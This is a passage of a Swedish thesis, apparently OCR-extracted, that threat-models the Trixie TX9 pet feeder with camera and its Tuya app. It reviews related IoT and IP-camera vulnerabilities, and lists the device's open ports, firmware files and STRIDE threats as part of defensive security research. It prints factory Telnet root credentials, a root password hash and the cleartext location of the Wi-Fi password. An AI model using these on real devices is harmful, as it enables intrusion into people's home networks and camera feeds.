« Se till att extern atkomst till dina enheter ar omojlig eller extremt svar och att inga
andringar av din hardvara kan goras utifran.

« USB- eller LAN-portar bor inte vara fritt tillgingliga eftersom de kan fungera som
en inkorsport till ditt natverk och till dina data for en angripare.

. Overvig all 6verforing av personuppgifter noggrant och skydda din integritet.

. Overvig noggrant nir sikerheten dr viktigare #n bekvamlighet och funktionalitet.

4.2 Tuya

Tuya Inc. ar en ledande IoT OS-leverantor som erbjuder for varumarken, aterforsal-
jare och tillverkare att skapa sina produkter via deras AI- och IoT-plattform. Platt-
formen erbjuder hardvaruatkomst, moltjanster och app-utveckling. [36] Tuya finns
i 0ver 220 lander, har 260 000 utvecklare varlden 6ver, med over 250 000 lagerhall-
ningsenheter (SKU:s). [37]

Foderautomaten Trixie TX9 styrs via Tuya Smart som finns tillgdnglig i AppStore for
iOS och Google Play for Android. For att koppla enheten till mobilapplikationen
kravs forst att anviandarens mobiltelefon ar ansluten till det 6nskade natverket och
anvandaren registrerar ett konto i Tuya Smart. I mobilapplikationen kan anvianda-
ren bland annat stélla in antal portioner, portionsmangd och utfodringstider med en
tillhorande ljudinspelning for varje utfodring. Alla utfodringar och rorelsedetekte-
ringar loggas.

Foderautomaten strommar kamerans videoflode under hela tiden mobilapplikat-
ionen dr 6ppen. Anvandaren kan gora videoinspelningar, ljudinspelningar och ta bil-
der som sparas direkt pa mobilen. Om rorelsedetekteringen ar aktiverad far anvan-
daren en notis i mobilen nar djuret narmar sig foderautomaten. Videoflodet kan inte
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stingas av manuellt utan endast i samband med att enheten stings av med strom-
knappen.

Anviandaren kan aktivera enkel- eller dubbelriktad ljudoverforing for interaktion
med djuret och instillningar for morkerseendefunktionen och kanslighet for rorel-
sedetektering kan ocksa stillas in i Tuya Smart.

4.3 Smart Config

Smart Config ar en teknologi utvecklad av Texas Instruments som anvands for att
koppla upp en ny, okonfigurerad Wi-Fi-enhet till Wi-Fi. Mobilapplikationen kodar
SSID och l6senord till natverket som placeras i lingd-faltet pa en serie UDP-paket
som sands ut pa nitverket. IoT-enheten tar sedan emot paketen och avkodar inform-
ationen som behovs for att ansluta till Wi-Fi. [38][39]
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5 Relaterade studier

Det har kapitlet tar upp olika modeller och metoder for penetrationstestning och
hotmodellering samt relaterade studier, fynd och handelser till systemet.

5.1 Penetrationstestning och hotmodellering

Det finns mangder med olika metoder och modeller for penetrationstestning och
hotmodellering. Xiong och Lagerstroms systematiska litteraturstudie av hotmodell-
leringsmodeller kom fram till att det ar ett diversifierat omrade som saknar gemen-
sam grund. Modelleringen kan utforas grafiskt, formellt, kvalitativt och kvantitativt,
ibland mer 6vergripande och i andra fall mer specifika med skiftande valideringsme-
toder. Vidare utfors hotmodelleringar ofta manuellt vilket kan vara bade tidskonsu-
merande och felbenéget. [40]

Trots den stora variationen pd metoder och modeller med olika fokus finns det
manga modeller som delar likheter med varandra och passar vil vid testning av IoT-
enheter. Rapportens penetrationstestningsmetod baseras pa Weidmans penetrat-
ionstestningsmetod [12], vilken ar identisk med den metod som foresprakas av Pe-
netration Testing Execution Standard. [41] Studien foljer &ven hotmodelleringsme-
toderna presenterade av Guzman et al. [29] och Microsoft [30] som bada foljer
samma steg och vilken rekommenderas av NSE Lab vid KTH for testning av IoT-
enheter. [42]

Bade Shostack [43] och OWASP [44] presenterar istéllet ett 4-stegs-ramverk for att
hotmodellera. Ramverket kretsar kring 4 essentiella fragor som hjalp for att forsta
hotmodelleringen. Dessa fragor ar:

Vad jobbar vi med?
Vad kan ga fel?

Vad ska vi gora at det?
Gjorde vi ett bra jobb?

el o

Shostacks ramverk bestar sedan av 4 storre steg som ar att modellera systemet, iden-
tifiera hot, adressera hot och validera. Shostack anviander sig av bland annat
STRIDE, attacktrad och attackbibliotek for att identifiera hot. [43]

National Institute of Standards and Technology, NIST, har publicerat en omfattande
guide for penetrationstestning med 4 storre faser vilka ar planering, upptackande,
attack och rapportering. [45]
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I ett webminar fran Arm Technology [46] rekommenderas en hotmodelleringsmetod
som foljer 5 steg:

Analysera anvandarfallen och definiera tillgdngarna som behover skyddas.
Identifiera potentiella motstandare, attackytor och hot.

Identifiera sakerhetsmal pa hog niva.

Definiera sikerhetskrav for varje siakerhetsmal.

Konsolidera all information i 6versiktstabeller for hot.

k@ n

NSE Lab rekommenderar dven att en hotmodellering inkluderar en hotsparbarhets-
matris, vilken ar en central del i metoderna presenterade av savil Synopsis [47] som
Ware [48].

Metoderna som valdes for denna studie finns presenterade i kapitel 3.

5.2 Foderautomater

Trixie TX9 lanserades under 2020 och det finns till dags dato inga dokumenterade
studier kring enhetens sidkerhet, men det finns daremot ett par publicerade hack och
sarbarheter funna i andra, liknande uppkopplade foderautomater.

2019 lyckades hackaren Anna Prosvetova lokalisera 6ver 10 000 foderautomater fran
market Furrytail genom att hacka en enda enhet. Genom att analysera enhetens
APIL:er kunde alla uppkopplade enheter lokaliseras. Enligt Prosventova kunde hon
styra utfodringen av automaterna utan att ange nagot l6senord och hittade dven sar-
barheter i automatens Wi-Fi-chip vilket tilldt en angripare att ladda ner och instal-
lera ny firmware pa enheten. [49][50]

Independent Security Evaluators (ISE) hittade foljande nio sarbarheter nir de tva
foderautomaterna "SKYMEE Petalk” och "Petwant PF-103” undersoktes 2019. [51]
Samtliga sarbarheter ar registrerade i CVE-listan, en slags databas med identifie-
rade, definierade och publicerade cybersidkerhetssarbarheter.

1. CVE-2019-16732
Okrypterad HTTP-kommunikation for firmware-uppdateringar.

2. CVE-2019-16734
Inloggning till foderautomaternas Telnet-tjanst med forinstallerade inlogg-
ningsuppgifter (anvindarnamnet root och l6senordet 059AnkJ) gav root-ac-
cess till systemet. Inloggningsuppgifterna publicerades forst pa github av en
person som penetrationstestat en 6vervakningskamera. [52]
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3.

CVE-2019-16731
UDP-servern udpServerSys kan utnyttjas for att initiera en firmware-uppda-
tering och dndra enhetsinstéllningar.

CVE-2019-16737
Funktionen CommandSetMac() i libcommon.so kan utnyttjas for att exekvera
systemkommandon som root-anviandare.

. CVE-2019-16733

Funktionen processCommandSetUid() i libcommon.so kan utnyttjas for att
exekvera systemkommandon som root-anviandare.

CVE-2019-16730
Funktionen processCommandUpgrade() i libcommon.so kan utnyttjas for att
exekvera systemkommandon som root-anviandare.

CVE-2019-17364
Funktionen processCommandUploadLog() i libcommon.so kan utnyttjas for
att exekvera systemkommandon som root-anviandare.

. CVE-2019-16735

Ett stack-baserat bufferoverflode i processCommandUploadLog i libcom-
mon.so kan utnyttjas for att orsaka DoS eller for att exekvera systemkomman-
don som root-anviandare.

CVE-2019-16736

Ett stack-baserat bufferoverflode i processCommandUploadLog i libcom-
mon.so kan utnyttjas for att orsaka DoS eller for att exekvera systemkomman-
don som root-anviandare.

I avsnitt "Pet-Nology” fran podden "Hackable?” berattar hackaren Dolev Farhi om
siakerhetshal i en uppkopplad godis-automat med kamera, avsedd for husdjur. I den
styrande mobilapplikationen kunde Farhi fota och spela in videos pa husdjuret. Bil-
derna lagrades forst pa tillverkarens molnserver for att sedan lata anvindaren ladda
ner filerna lokalt pa mobilen. Farhi upptickte att det inte fanns nigon association
mellan anvandarkontot for mobilapplikationen och godisautomaten pa molnservern
och att detta kunde utnyttjas for att ladda ner andra anvandares bilder och videos.
Foretaget var omedvetna om sarbarheten och hade inom en vecka efter det att Farhi
informerat om den atgiardat problemet. [53]
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Foretaget Petnet siljer uppkopplade foderautomater for husdjur linkade till en
molntjanst. Tva ganger under 2020 gick foderautomaterna offline i en vecka och
lamnade husdjur att ga hungriga i dagar. [54][55] Samtidigt som avbrottet skedde
upphorde Petnet att svara pa klagomal fran kunder. Petnet hivdade att en tredje-
partsleverantor var orsaken till det senare avbrottet och meddelade strax darefter att
all produktion skulle upphora pa grund av finansieringsproblem. Oavsett orsakerna
till avbrotten ar handelserna exempel pa risker associerade med IoT och lyfter fragan
kring hur lange en enhet ska stodjas och vilka rattigheter konsumenterna har nar
den inte langre ar det, menar teknik-journalisten Jeremy Kirk. [56]

5.3 Tuya

Under ett hack av Michael Steigerwald 2018 uppticktes att manga Tuya-enheter var
utrustade med Wi-Fi-chippen ESP8266 eller ESP8285. Dessa anviande sig av Smart
Config-teknologin for att koppla upp sig till Wi-Fi. UDP-paket med SSID och l6sen-
ord skickades fran mobilen och en person inom mobiltelefonens rackvidd kunde
fanga upp paketen och komma at uppgifterna och darmed fa full access till det lokala
natverket. Genom att fortsitta avlyssna kommunikationen fann de att en siakerhets-
token skickades till Tuyas servrar over okrypterad HTTP. For enheter som imple-
menterade MQTT skickade Tuya-servern tillbaka krypteringsnycklarna for MQTT-
kommunikationen 6ver HTTP. [57][58] Efter upptackten skrev Steigerwald och hans
team ett skript kallat Tuya-Convert [59] avsett for Tuya-enheter utrustade med
ESP8266 eller ESP8285. Skriptet satte upp en lokal servern likt Tuyas for att trigga
en firmware-uppdatering. Genom att omdirigera enhetens trafik till den lokala ser-
vern kunde alternativ firmware installeras och samtidigt undga att anvianda Tuyas
molntjanst. [60]

Tuya, som ocksa uppmuntrar individer och utvecklare att rapportera fel och sarbar-
heter i deras plattform genom deras "bug bounty program” [61], besvarade Stei-
gerwalds upptackter med att atgarda en del av sarbarheterna. Numera skickas kryp-
teringsnycklar over krypterad kanal, kommunikation med Tuya Cloud sker 6ver TLS,
informationen i flashminnet sparas i krypterad form, firmware-uppdateringarna ve-
rifieras och valideras pa enheten samt att hanteringen av nycklar i mobilapplikat-
ionen har uppdaterats. [62]

Smarta lampor och eluttag ar populidra Tuya-enheter som hackats av savil profess-
ionella hackare som amatorer. Som en f6ljd av hacken har flera skript och program
skrivits for att till exempel styra enheterna lokalt och kringga att skicka anvandar-
data till Tuyas servrar. Vissa program ar framtagna for enheter med en viss typ av
Wi-Fi-kort och de flesta kriaver att anvandaren kan uppge produktnyckeln for sin
enhet. Produktnycklen kan fis genom att registrera sig som utvecklare pa Tuyas
hemsida. Utover Steigerwalds Tuya-Convert finns till exempel tuya-mqtt [63] som
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ar ett program for att styra enheten lokalt, och tuyapi [64] som ar ett bibliotek for att
kommunicera med Tuya-enheter som anviander Tuya Cloud eller har port 6668 6p-
pen.

5.4 IP-kameror

IP-kameror har lange varit populdra mal for hackare. Kamerornas konstanta upp-
koppling till internet, krav pa hog bandbredd och likheter i bAde mjuk- och hardvara
tillverkare emellan dar kianda sarbarheter finns publicerade pa internet gor dem ex-
tra utsatta for attacker.

Foderautomaten ar utrustad med en vidvinkelkamera som later anvindaren over-
vaka sitt husdjur och hem. Det 16per darfor stor risk att foderautomaten har liknande
sarbarheter som for IP-kameror, webbkameror och andra IoT-enheter med kamera-
utrustning.

I 6vervakningskameran ”Clever Dog Smart Camera” fann man att losenordet till mo-
bilapplikationen skickades 6ver okrypterad kanal och att svaga kryptografiska algo-
ritmer anvindes for kryptering av det. Vidare hade kameran en 6ppen Telnet-tjanst
och mojliggjorde dtkomst till minneskortet via en HTTP-tjanst. [65]

Det har gjorts mangder med studier pa smarta kameror som visar pa att dessa en-
heter generellt sett har bAde manga och liknande sarbarheter.

Manske undersokte sikerheten i en IP-kamera och hittade sammanlagt 11 sarbar-
heter, varav 5 hade mycket hog allvarlighetsgrad. [66] De fem allvarliga sarbarheter
inkluderade hardkodade inloggningsuppgifter, osikert lagrade inloggningsuppgifter
for root-anvandaren, logiska misstag i startskriptet, bufferoverflode genom webb-
server och kommandoinjektioner i startskriptet.

I en studie av Jonsson et al. studerades vanligt forekomna sarbarheter i smarta ka-
meror [67] genom uppslag i CVE och forfragningar i sckmotorn shodan.io, som kart-
lagger och samlar information om uppkopplade enheter och system [68], ofta kallat
”sokmotorn for IoT”. Forfattarna fann att de flesta system korde Linux OS och méanga
hade en 6ppen HTTP-service. Utifran uppslag i CVE summerades vanligt forekomna
sarbarheter i smarta kameror vilka bland annat var hardkodade inloggningsuppgif-
ter, informationsavslojande och XSS.

Tekeoglu et al. studerade sdakerheten i en molnbaserad IP-kamera. Resultatet av stu-
dien visade att "Belkin NetCam” korde BusyBox och hade 6ppna portar for Telnet-
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och webbserver, forinstillda inloggningsuppgifter och datadverforing over okry-
perad kanal. Tekeoglu et al. lyckades dven rekonstruera en stillbild fran den osidkra
dataoverforingen. [69]

Alharbi et al. penetrationstestade 5 olika kameror och upptickte en eller flera sar-
barheter i dem alla. Sarbarheterna var bland annat okrypterad datadverforing, bris-
tande nyckelhantering, 6ppna portar, hardkodade inloggningsuppgifter och bris-
tande validering av certifikat. [70]

I ytterligare en IP-kamera upptackte Seralathan et al. hur kameran kommunicerade
over okrypterad kanal och hur videoflodet strommades till en sa kalladReal Time
Streaming Protocol (RTSP)-tjanst med svaga inloggningsuppgifter, vilket tillat en
angripare att utfora en losenordsknacknings-attack och fa atkomst till videoflodet i
realtid. Vidare fann de att SSID och l6senord till Wi-Fi sickades i klartext och att
anvandarnamn och l16senord till kamerakontot lagrades i klartext i mobilapplikat-
ionens APK. [71]

Wessel Bjorneset testade sikerheten i 5 uppkopplade kameror och fann sarbarheter
i flera av dem. De vanligaste sarbarheterna var hardkodade och lattgissade inlogg-
ningsuppgifter. Andra sarbarheter som informationsavsléjande av Wi-Fi-uppgifter
och 0ppna nitverkstjanster forekom ocksa. [72]

Klasmark et al. penetrationstestade en "Google Nest Indoor Camera” som kommu-
nicerar 6ver Wi-Fi. Testerna visade att kameran var sarbar for Bluetooth DoS och att
datatrafiken till/fran kameran kunde analyseras for att avgora vilket tillstind kame-
ran var i. [73] Den senare sirbarheten bekriftades ocksa av en studie gjord av
Apthorpe et al. som bland annat undersokt samma typ av kamera. [74]

Shwartz et al. presenterade effektiva tekniker och metoder for att analysera IoT-
firmware ur ett “black box”-perspektiv. Processen inkluderar fysisk undersokning av
enheten, extrahering av firmware och analys av firmware. 16 olika IoT-enheter tes-
tades enligt processen, varav 15 med kamerafunktion. Resultatet visade pa att flera
av enheterna hade 6ppna nitverkstjanster som Telnet, FTP och SSH samt svagt
krypterade l6senord. [75]

5.5 BusyBox, Telnet och DDoS

En stor mangd IP-kameror var inblandade i en av de storsta DDoS-attackerna na-
gonsin, orsakade av Mirai botnet ar 2016. [76] Mirai scannade internet efter enheter
med en Oppen Telnet-port med svaga 16senord och som hade BusyBox installerat pa
systemet. [77] Skadlig programvara laddades ned pa enheterna och en sa kallad bot-
master instruerade sedan alla enheter att utfora overflodesattacker pa en malserver.
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Kolias et al. beskriver hur det efter attacken dykt upp mer sofistikerade Mirai-vari-
anter i en alarmerande snabb takt [78], ndgot siakerhetsforetaget F-Secure bekraftar
i sin rapport "Attack Landscape H12019”. [5] Ett exempel ar BrickerBot, som liksom
Mirai var en BusyBox-baserad attack men som orsakade permanent DoS genom att
utfora en serie av systemkommandon for att radera hela minnet och rekonfigurera
kidrnan. En annan variant ar Persirari, som angrep webbkameror via port 81. [78]

Kolias et al. redogor for de 5 fraimsta anledningarna till varfor IoT-enheter ar extra
utsatta for DDoS-attacker:

1. Enheterna ar i konstant drift.

2. Enheterna har svagt skydd till foljd av prioritering av snabba lanseringar och
fokus pa anviandarvanlighet och anvandbarhet.

3. Enheterna har svaga, diskontinuerliga eller obefintliga uppdateringsmekan-
ismer.

4. Enheterna ar tillrackligt kraftfulla for att producera DDoS-trafik.

5. Enheterna har minimalt, eller saknar helt, interaktivt anvandargranssnitt och
angrepp kan darfor ga forbi obemarkta.

I en rapport fran IBM konstaterades att Telnet-porten (port 23) var den port och
tjanst som scannats till ~79% av gangerna under en sa kallad "service sweep”, dar
enheter inom ett nitverk scannats efter en specifik port eller tjinst. [79] Aven om
Telnet inte anvands i samma utstrackning som forr sa ar det fortfarande manga IoT-
enheter som kor en Telnet-server i bakgrunden. Rapporten hianvisar till en sokning
gjort pa port 23 pa shodan.io som resulterade i 6ver 16 miljoner traffar och visar pa
den enorma miangd utsatta system runt i virlden som inte sillan finns placerade i
vara hem.

F-Secures rapport bekraftar &ven den att enheter med Telnet-tjanster ar extra utsatta
for cyberattacker. Studien sammanstallde trafiken till deras honeypots under forsta
halvaret av 2019. Trafiken uppgick till 2,9 biljoner attackrelaterade event och var 12
ganger hogre dn vid samma period for 2018, med en markant 6kning av fraimst IoT-
trafik. Den storsta andel trafik méattes pa Telnet-protokollet och uppgick till 760 mil-
joner event, en okning pa nistan 30% fran foregdende ar. Av rapporten framgar
ocksa att 99,9% av all trafik till deras honeypots kom fran bottar, skadlig kod (eng.
malware) och andra verktyg och att attackerna kom fran framst kinesiska, ameri-
kanska, ryska och tyska IP-adresser. [5]
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Det har kapitlet beskriver hotmodelleringen av Trixie TX9. Metodiken som f6ljs be-
skrivs i kapitel 3.

6.1

Identifiera tillgangarna
Det forsta steget i hotmodelleringen var att identifiera och lista systemets tillgdngar.

Tabell 3: Systemets tillgangar

ID

Tillgang

Beskrivning

Trixie TX9

Trixie TX9 ar en smart foderautomat med vidvinkelka-
mera nattvision, rorelsesensor, mikrofon, hogtalare, fo-
derbehéllare och matskil. Foderautomaten har ett Wi-
Fi-chip och konfigureras via mobilapplikationen Tuya
Smart.

Mobilapplikation

Foderautomaten styrs via mobilapplikationen Tuya
Smart som finns tillganglig for iOS och Android. I mobil-
applikationen kan anviandaren konfigurera olika foder-
installningar, se och spela in videoflodet och interagera
med husdjuret genom automatens mikrofon och hogta-
lare. All trafik skickas 6ver mobilens natverksanslutning.
Mobilapplikationen kopplas upp till Tuya Cloud som i
sin tur strommar videoflodet och skickar notiser till an-
vandaren. Anviandaren maste registrera ett konto med
anvandarnamn och losenord i Tuya Smart for att fa at-
komst till foderautomaten och funktionerna i mobilap-
plikationen.

Firmware

Foderautomatens olika funktioner styrs via dess
firmware.

Tradlos kommu-
nikation

Foderautomaten kommunicerar 6ver 2,4 GHz Wi-Fi.

Hardvara

Hérdvaran ligger utanfér ramen for rapporten.
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6.2 Arkitekturoversikt

Nista steg var att skissa upp enhetens arkitektur som ger en 6verblick 6ver enhetens
tillgdngar, funktioner och kommunikationsprotokoll. Arkitekturoversikten bestar av
tre delar: anvandarfall, arkitekturdiagram och systemets teknologier.

6.2.1

Anvandarfall

Som hjilp for att skapa ett arkitekturdiagram listades forst nagra av systemets vik-
tigaste anvandarfall.

Anvandarfall 1: Anvandaren installerar enheten

ok w® N

&

7.

Anvandaren kopplar upp sig till 2,4 GHz Wi-Fi.
Anviandaren laddar ner och installerar Tuya Smart i mobiltelefonen.
Anviandaren registrerar ett konto i Tuya Smart.
Anviandaren loggar in i Tuya Smart.
Anvandaren viljer enheten “Pet Feeder With Camera (Wi-Fi)” under fliken
”Small Home Appliances”.
Anviandaren viljer EZ mode (Smart Config)
a. Anvandaren anger SSID och 16senord for Wi-Fi-natverket och kopplar
upp enheten till internet.
Anvandaren kan se videoflodet i mobilapplikationen

Anvandarfall 2: Anvindaren tittar pa videoflodet via mobilapplikationen

1.
2.

3.

Anviandaren loggar in i Tuya Smart och viljer enheten "Pet Feeder”.
Anviandaren ser videoflodet.

Anviandaren trycker pa "Foto” eller ”Video” for att ta ett foto respektive spela
in en video som sparas pa mobiltelefonen.

Anvandarfall 3: Anvindaren matar husdjuret manuellt

1.
2.

Anviandaren loggar in i Tuya Smart och viljer enheten "Pet Feeder”.

o »

Anvandaren trycker pa "Utfodra” for att ge en manuell utfodring av vald port-
ionsstorlek.

Anvindarfall 4: Anvandaren kommunicerar med djuret via mikrofonen

1.
2.

Anviandaren loggar in i Tuya Smart och viljer enheten "Pet Feeder”.
Anvandaren trycker pa "Mic” och pratar i mobiltelefonens mikrofon.
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Anvandarfall 5: Anvindaren begar en firmware-uppdatering i mobilapplikationen

1. Anvandaren loggar in i Tuya Smart och viljer enheten "Pet Feeder”.
2. Anviandaren far en notis om att ny programvara finns tillginglig och laddar
ner den genom att trycka pa "Uppgradera nu”.

Anvindarfall 6: Anviandaren aktiverar rorelsedetektering

1. Anviandaren loggar in i Tuya Smart och véljer enheten ”"Pet Feeder”.
2. Anviandaren trycker pa ”Alarm” for att aktivera rorelsedetektering och gor in-
stiallningar for rorelsekanslighet och schemalidggning.

6.2.2 Arkitekturdiagram
Utifran tillgangar och anviandarfall skapades en arkitekturéversikt som visar pa hur
ekosystemets olika komponenter kommunicerar.

<]

L~ Generic Data Flo‘

Human User TCP & TCP w/ TLS

‘ TCP & TCP w/ TL )
Router
~—~——

Tuya Cloud
LS| TCP & TCP w/TLS et
“
[ vor %
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Figur 2: Arkitekturdiagram 6ver Trixie TX9

6.2.3 Teknologier
Trixie TX9:s olika teknologier listades direfter, samt dven systemets 6ppna portar
och vilka tjanster som lyssnade pa dem.



30 | HOTMODELLERING

Tabell 4: Systemets teknologier

Teknologi

Beskrivning

Trixie TX9

Inbaddat operativsystem Linux 3.10.14 som kor
BusyBox v1.22.1. Foderautomaten kommunice-
rar 6ver TCP/IP och UDP och ar utrustad med
ett Wi-Fi-chip fran Realtek. Enheten ansluter till
Wi-Fi med hjilp av Smart Config.

Tradlos router

2.4 GHz Wi-Fi

Mobilapplikationer

Mobilapplikation for Android och iOS som éar
kopplat mot Tuya Cloud for att stromma video-
flode och andra foderautomatens installningar.

Kommunikationsprotokoll:
HTTPS

Krypterad kommunikation till/fran mobilappli-
kationen.

Kommunikationsprotokoll:
802.11 Wi-Fi

Radiofrekvensprotokoll for kommunikation
mellan foderautomaten och routern.

Kommunikationsprotokoll:
UDP

Kommunikationsprotokoll for att skicka video-
flode och ljud 6ver IP fran foderautomaten. An-
vands av foderautomaten for att sanda ut kryp-
terad information om foderautomaten (UUID,
produktnyckel, version) pa det lokala natverket
(dst port 6667) samt av mobilapplikationen
Tuya Smart for att sinda SSID och losenord till
Wi-Fi till foderautomaten nar enheten ska kopp-
las upp mot internet forsta gangen (Smart Con-
fig-tekniken).

Kommunikationsprotokoll:
STUN och CLASSIC STUN

Nitverksprotokoll for att ta reda pa vilka typer
av NAT:s som finns mellan foderautomaten och
mobilapplikationen som vill uppritta en p2p-
anslutning over internet.

Kommunikationsprotokoll:
GQUIC

Natverksprotokoll for att stromma videoflodet
till mobilapplikationen.

Applikationsprotokoll: MQTT

Kommunikationsprotokoll for att kommunicera
med servern. Skickas over TLS.




Tabell 5: Systemets 6ppna portar

Portnummer | Service/Process

23 telnetd

6668 tuya

8000 sample-Encoder-Video
8001 sample-Ai

8002 sample-Ao

8003 sample-Encoder-Video
8004 sample-Encoder-Video
8005 sample-Ao

8006 sample-Ai

8007 sample-Encoder-Video
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I penetrationstest 7.2.6 gavs access till ett skal genom inloggning i Telnet-tjansten.
Med hjalp av verktyget netstat printades en forteckning pa systemets natverksan-
slutningar, som utéver anslutningarna i Tabell 5 ocksa visade 2, ibland 3, UDP-an-

slutningar som lyssnade pa dynamiskt allokerade portnummer.

Tabell 6: Dynamiska UDP-portar pa systemet

Portnummer

Service/Process

mer

localhost:portnum- | tuya

mer

0.0.0.0:portnum- tuya

nummer

192.168.10.151:port- | tuya
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6.3 Nedbrytning av loT-enheten

6.3.1 Inkorsportar
Utifran informationen i sektion 6.1 och 0 identifierades inkorsportarna till systemet.

Tabell 7: Inkbrsportar till Trixie TX9

ID Inkorsport Beskrivning
1 Trixie TX9 Oppna nitverkstjanster som kors pa systemet.
2 Mobilapplikation Mobilapplikationer for Android och iOS. De an-

vands for att konfigurera foderautomaten och
stromma video- och ljud. Inloggningsuppgifter
kravs for att kunna anvianda mobilapplikationen.

3 Firmware Firmwaren kontrollerar foderautomaten och dess
funktioner.

4 Tradlos kommunikat- | Foderautomaten kommunicerar med routern

ion over 2,4 GHz Wi-Fi. Mobilapplikationen kommu-

nicerar over Wi-Fi eller mobilnatet.

5 USB-B Det finns en USB-B mikro-port for inkoppling av
en powerbank.

6.3.2 Firmware
I penetrationstestet beskrivet i sektion 7.2.6 lyckades systemet nas genom den 6ppna

Telnet-tjansten och i penetrationstestet i sektion 7.2.7 kunde hela filsystemet laddas
ner och analyseras pa forfattarens dator.

Samtliga skript, initialiserings- och konfigureringsfiler och mapparna tmp, opt, dev
och system var skrivbara for root-anvandaren. Andra intressanta filer fortecknades
i Tabell 8.
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Tabell 8: Intressanta filer i filsystemet
Fil/sokvig Beskrivning
/etc/inittab Konfigureringsfil som anviands vid initialisering
av systemet.
/etc/init.d/rcS Skriptfil som kors vid startup.

/opt/user_init.sh

Skriptfil som kors vid startup.

/system/init/app_init.sh

Skriptfil som laddar kameramoduler och startar
upp processerna sample-Encoder-video, sample-
Ai, sampe-Ao, tuya och fac.

/etc/shadow

Innehaller det hashade 16senord for anvandaren
“root”:

root:FCb/N1tGGXtP6:10957:0:99999:7:::

Losenordet gar inte att dandra.

/tmp/wpa_supplicant.conf

Innehaller SSID och 16senord i klartext till det lo-
kala Wi-Fi-natverket.

/opt/tuya/tuya_user.db

Krypterad fil som troligtvis innehéller auten-
tiseringsinformation och losenord for p2p- for-
bindelser.

/opt/tuya/tuya_enckey.db

Krypterad fil som troligtvis innehéller krypte-
ringsnyckel for kommunikation med Tuyas serv-
rar.

/opt/info

Information om enheten (pid, uuid, key, ver).

/system/bin/sample-Encoder-
video

Program som hanterar och krypterar utgaende vi-
deo-data.

/system/bin/sample-Ai

Program som hanterar och dekrypterar inkom-
mande audio-data.
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/system/bin/sample-Ao Program som hanterar och krypterar utgaende
audio-data.

/system/bin/tuya Program som bland annat kommunicerar med
Tuya Cloud och upprittar p2p-férbindelser.

6.4 Identifiera hot
Nir enheten var kartlagd identifierades mojliga hot och attackvektorer.

6.4.1 STRIDE
STRIDE-modellen, beskriven i sektion 3.1.3, anviandes for att identifiera och katego-

risera mojliga hot mot systemet.
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Tabell 9: Hot identifierade med STRIDE

privilege/
Hojning av
privilegium

Hot Kranker Exempel
Spoofing/ Autentisering - Spoofa routern.
Forfalsk- - Spoofa servern.
ning - Spoofa mobilapplikationen.
Tampering/ | Integritet - Manipulera datapaket som skickas over
Manipule- natverket.
ring - Modifiera mobilapplikationens APK.

- Modifiera foderautomatens firmware.
Repudiat- Icke-fornekande | (Ej applicerbart for Trixie TX9)
ion/ Forne-
kande
Information | Konfidentialitet - Liasa okrypterade, kansliga data som
disclosure/ skickats 6ver niatverket.
Informat- - Analysera firmware.
ionsavslo- - Analysera mobilapplikationens APK.
jande - Analysera natverkstrafiken for att ta reda

pé foderautomatens tillstand.
Denial  of | Tillgianglighet - Gora systemet otillgangligt genom att ad-
Service/ dera, omdirigera eller neka paket pa nat-
Fornekade verket.
av tjanst - Lasa ute anvidndaren ur mobilapplikat-
ionen.

- Koppla fran enheten fran natverket.

Elevation of | Auktorisering - Fa tillgang till systemets via dess Oppna

portar.

6.4.2 OWASP’s Top 10
OWASP:s tva listor "IoT Top 10” och "Mobile Top 10” anviandes for att identifiera

ytterligare sikerhetsrisker i systemet.
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IoT Top 10 2018

. IoT1 Svaga, lattgissade eller hardkodade 16senord.
« IoT2 Osidkra natverkstjanster.

« IoT4 Brist pa sikra uppdateringsmekanismer.

. IoT7 Osiker datatransfer och datalagring.

Mobile Top 10 2016

« M3 Osaker kommunikation.
« M5 Otillracklig kryptering.

. M7 Lag kodkvalitet.

. M8 Kodmanipulering.

« Mo Demontering.

6.4.3 Attackvektordiagram
Attackvektordiagrammet visar vart i systemet attackvektorerna utgor ett hot.

Demontering
Kodmanipulering L~ @
DoS
! -
Demontering
Kodmanipulering
DoS Router Tuya Cloud
Svaga lésenord
Portscanning I
\
L Férfalskning
~ > MITM
—> ° Ateruppspelning

Trixie TX9

Figur 3: Mgjliga attackvektorer

6.5 Dokumentera hot

Samtliga hot som identifierats under hotmodelleringen eller under arbetets gang
sammanstilldes i en hotsparbarhetsmatris och finns bifogad i Bilaga 1. Nedan foljer
en kortare dokumentation av de identifierade hoten. Sannolikheten for att attacken

lyckas graderas till 1dg/mellan/hog.
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Hotbeskriv-
ning

Angriparen far atkomst till anvandarens lokala natverk.

Angripen till-
ging

SSID och 16senord till Wi-Fi.

for en lyckad
attack

Attackteknik | Angriparen utfor en MITM-attack och lyssnar pa niatverket nar
anvandaren kopplar upp enheten till Wi-Fi.

Motatgird Sakra kryptografiska algoritmer anvands for att kryptera SSID
och 16senord.

Uppskattad Attacken uppskattas ha hog sannolikhet att lyckas, da det finns

sannolikhet flera verktyg och skript for att avkoda meddelandena och en

oerfaren angripare kan utfora den.

Hot #2
Hotbeskriv- Angriparen far atkomst till systemet genom natverkstjanster
ning som lyssnar pa 6ppna portar.

Angripen till-
ging

Oppna portar.

for en lyckad
attack

Attackteknik | Angriparen utfor l6senordsknickningsattacker pa systemets
oppna portar.

Motatgard Inga banners med information om natverkstjanster, tjansterna
accepterar endast trafik fran specifika IP-adresser, tjansterna
anvander starka anvandarnamn och 16senord, tillater endast ett
begrinsat antalet inloggningsforsok fran samma IP-adress.

Uppskattad Telnet-tjinsten pa enheten printade “petwant login:”, vilket

sannolikhet kunde kopplas till ISE:s hackning av en foderautomat av
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samma marke (se sektion 5.1). [51] Sannolikheten for att at-
tacken skulle lyckas med det redan avkodade 16senordet berak-
nades darfor vara hog.

Hot #3
Hotbeskriv- Angriparen hittar och utnyttjar sarbarheter i programmen som
ning lyssnar pa de 6ppna portarna.

Angripen till-
ging

Program som lyssnar pa 6ppna portar.

Attackteknik | Angriparen gor fuzzing-attacker dar olika typer av input skickas
till de 6ppna portarna.

Motatgard Programmen hanterar olika och extrema typer av input, har im-
plementerade autentiseringsmekanismer, skickar data oOver
krypterade kanaler.

Uppskattad All applikationsdata till/fran enheten skickas 6ver TLSv1.2 och

sannolikhet videoflodet som skickas 6ver UDP ar krypterat, vilket forsvarar

for en lyckad
attack

for en eventuell fuzzing-attack. En lyckad attack kraver kun-
skap om de protokoll som anviands och den input som program-
men lyssnar efter. Sannolikheten for en lyckad fuzzing-attack
ar darfor lag.

Hot #4
Hotbeskriv- Angriparen fjarrkor kommandon eller exekverar skadlig kod pa
ning enheten.

Angripen till-
ging

Oppna portar.

Attackteknik

